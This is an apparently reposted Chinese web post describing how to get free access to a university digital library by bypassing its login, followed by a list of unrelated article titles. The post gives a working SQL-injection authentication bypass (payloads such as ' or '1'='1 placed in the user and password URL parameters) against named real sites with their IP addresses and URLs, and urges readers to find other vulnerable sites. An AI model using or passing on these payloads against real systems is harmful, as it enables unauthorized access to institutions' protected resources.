免费进入超星图书馆小技巧 --深圳广播电视大学数字图书馆
来源:互联网 发布:gaia 数据 编辑:程序博客网 时间:2024/04/29 05:55
深圳广播电视大学数字图书馆
http://218.17.219.22/bookhtm/index.asp
搜索需要输入用户名、密码
我们可以构造查询条件,突破限制
做法如下:
1.随便输入学号、密码,登陆,例如:学号=1,密码=1.这时会出现“此用户不存在!返回”
ie地址栏中地址为http://218.17.219.22/bookhtm/sq/load.asp?user=1&;mima=1&B1.x=31&B1.y=6
2.修改地址进入:
将上面地址中user=1&mima=1改为:user='or'='&mima=' or''='
或者user='or'1'='1&mima='or'1'='1 也可
就是登陆地址了。
3.登陆后可以随便看了
同样的道理利用这个漏洞,可以登陆另外几个需要输入用户名、密码的站点,需要输入的地方都输上'or''='
如:驻马店电大http://www.zmdtvu.net/dabookhtm/
铜陵电大http://218.22.180.149/index.asp其他的自己好好发掘吧。
user=' or '1'='1&mima=' or '1'='1
- 免费进入超星图书馆小技巧 --深圳广播电视大学数字图书馆
- 超星尔雅在线课程小技巧
- 深圳图书馆
- 全球免费数字图书馆TOP30
- 第2章 实体图书馆、数字图书馆
- 初识深圳图书馆
- 梁文道深圳图书馆演讲
- 偶遇深圳图书馆
- 宁夏广播电视大学开放教育2009年春季新生发言稿
- 给大家推荐一个超星图书馆
- cmd 进入mysql 小技巧
- 深圳图书馆号码0440050127342备忘
- 使超星数字图书馆的PDG文件转换为PDF文件的方法
- 用google突破图书馆入口IP限制小技巧
- 在线免费图书馆
- 全球免费电子图书馆
- 免费在线图书馆
- 深圳小
- 中国婚姻急需的7件东西
- 基于java-applet的简单流程图绘制小工具的制作
- 令夫妻关系和谐的五大秘诀
- 换网名+换Blog
- Java中的异常处理机制
- 免费进入超星图书馆小技巧 --深圳广播电视大学数字图书馆
- 十天学会ASP.NET之前五天
- 十天学会ASP.NET之后五天
- 转的一些经典语句
- c/c++ splitting string class
- 原以为熟悉http协议了,今天又发现新问题了.
- 关于java中创建对象实例
- 我的第一次~~~
- 笔记摘录